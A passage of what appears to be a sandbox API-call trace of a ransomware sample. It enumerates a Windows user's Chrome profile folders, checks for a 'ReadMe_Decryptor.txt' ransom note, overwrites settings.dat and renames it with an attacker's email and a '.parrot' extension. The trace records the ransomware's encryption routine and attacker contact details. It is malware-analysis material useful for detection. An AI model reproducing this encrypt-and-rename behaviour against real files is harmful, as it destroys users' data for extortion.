lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0037.113] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0037.113] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.113] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0037.113] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0037.113] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0037.113] lstrcmpW (lpString1="Chrome", lpString2=".") returned 1 [0037.113] lstrcmpW (lpString1="Chrome", lpString2="..") returned 1 [0037.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0037.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x5cc9d8 [0037.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0037.113] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0037.113] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0037.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x60cdc0 [0037.260] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0037.260] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0037.260] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.260] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0037.261] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0037.261] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Data", cAlternateFileName="USERDA~1")) returned 1 [0037.261] lstrcmpW (lpString1="User Data", lpString2=".") returned 1 [0037.261] lstrcmpW (lpString1="User Data", lpString2="..") returned 1 [0037.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0037.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0037.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x601838 [0037.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0037.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0037.261] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0037.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5cc698 [0037.261] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x60cdc0 [0037.261] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0037.433] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0037.433] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.564] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0037.564] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0037.564] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0037.564] lstrcmpW (lpString1="CertificateTransparency", lpString2=".") returned 1 [0037.564] lstrcmpW (lpString1="CertificateTransparency", lpString2="..") returned 1 [0037.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0037.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5d1908 [0037.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x60c798 [0037.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0037.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0037.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0037.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d1908 [0037.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x60cdc0 [0037.565] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0038.335] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0038.335] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.335] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0038.335] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0038.335] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0038.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d2b80 [0038.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cdc0 | out: hHeap=0x5b0000) returned 1 [0038.335] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0038.335] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0038.336] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0038.336] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0038.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0038.336] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0038.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0038.336] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0038.336] lstrcmpW (lpString1="Crashpad", lpString2=".") returned 1 [0038.336] lstrcmpW (lpString1="Crashpad", lpString2="..") returned 1 [0038.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0038.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x5d1908 [0038.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x60cdc0 [0038.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0038.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0038.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0038.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d1908 [0038.336] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2b80 [0038.336] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0039.134] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0039.134] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.134] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0039.134] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0039.134] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f5beda0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1 [0039.134] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="reports", cAlternateFileName="")) returned 1 [0039.134] lstrcmpW (lpString1="reports", lpString2=".") returned 1 [0039.134] lstrcmpW (lpString1="reports", lpString2="..") returned 1 [0039.137] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2d98 [0039.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xee) returned 0x60c798 [0039.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2d98 | out: hHeap=0x5b0000) returned 1 [0039.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0039.143] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x60cea0 [0039.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2b80 [0039.146] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0039.146] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0039.146] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.147] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0039.147] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0039.147] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0039.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x5d2d98 [0039.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0039.147] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0039.147] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0039.147] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.147] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0039.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2d98 | out: hHeap=0x5b0000) returned 1 [0039.147] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0039.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cea0 | out: hHeap=0x5b0000) returned 1 [0039.148] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a6374a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0039.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0039.148] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0039.150] lstrcmpW (lpString1="settings.dat", lpString2="ReadMe_Decryptor.txt") returned 1 [0039.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x274 [0039.151] GetFileSize (in: hFile=0x274, lpFileSizeHigh=0x18e970 | out: lpFileSizeHigh=0x18e970*=0x0) returned 0x28 [0039.151] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x140, nNumberOfBytesToLockHigh=0x0) returned 1 [0039.151] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0039.151] ReadFile (in: hFile=0x274, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0039.152] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0039.155] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x28, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x28, lpOverlapped=0x0) returned 1 [0039.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0039.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0039.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0039.166] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0039.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0039.169] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0039.172] GetLastError () returned 0x0 [0039.783] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0039.784] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x148) returned 0x60cea0 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0039.784] WriteFile (in: hFile=0x274, lpBuffer=0x60cea0*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x60cea0*, lpNumberOfBytesWritten=0x18e8f4*=0x148, lpOverlapped=0x0) returned 1 [0039.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cea0 | out: hHeap=0x5b0000) returned 1 [0039.784] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x140, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0039.784] CloseHandle (hObject=0x274) returned 1 [0039.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x60cea0 [0039.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x5d2d08 [0039.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cea0 | out: hHeap=0x5b0000) returned 1 [0039.785] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 